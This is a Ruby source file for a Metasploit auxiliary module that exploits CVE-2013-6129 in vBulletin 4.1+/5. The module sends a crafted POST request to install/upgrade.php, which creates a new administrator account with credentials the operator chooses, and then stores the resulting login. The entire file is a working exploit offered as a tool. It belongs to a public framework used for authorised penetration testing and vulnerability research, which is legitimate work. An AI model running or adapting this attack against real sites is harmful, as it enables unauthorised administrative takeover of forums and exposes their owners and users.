101 lines
3.2 KiB
Ruby
101 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'vBulletin Administrator Account Creation',
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'Description' => %q{
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This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
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create a new administrator account, as exploited in the wild on October 2013. This module
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has been tested successfully on vBulletin 4.1.5 and 4.1.0.
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},
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'Author' => [
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'Unknown', # Vulnerability discoverer? found in the wild
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'juan vazquez' # metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2013-6129' ],
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[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
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[ 'OSVDB', '98370' ],
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[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
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],
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'DisclosureDate' => '2013-10-09'
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']),
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OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
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OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
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OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
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]
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)
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end
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def user
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datastore['USERNAME']
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end
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def pass
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datastore['PASSWORD']
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end
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def run
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if user == pass
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print_error('Please select a password different than the username')
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return
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end
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print_status('Trying a new admin vBulletin account...')
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'),
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'method' => 'POST',
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'vars_post' => {
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'version' => 'install',
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'response' => 'true',
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'checktable' => 'false',
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'firstrun' => 'false',
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'step' => '7',
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'startat' => '0',
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'only' => 'false',
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'options[skiptemplatemerge]' => '0',
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'reponse' => 'yes',
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'htmlsubmit' => '1',
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'htmldata[username]' => user,
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'htmldata[password]' => pass,
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'htmldata[confirmpassword]' => pass,
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'htmldata[email]' => datastore['EMAIL']
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},
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'headers' => {
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'X-Requested-With' => 'XMLHttpRequest'
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}
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})
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if res && (res.code == 200) && res.body =~ (/Administrator account created/)
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print_good("Admin account with credentials #{user}:#{pass} successfully created")
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connection_details = {
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module_fullname: fullname,
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username: user,
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private_data: pass,
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private_type: :password,
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: res.body
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}.merge(service_details)
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create_credential_and_login(connection_details)
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else
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print_error('Admin account creation failed')
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end
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end
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end
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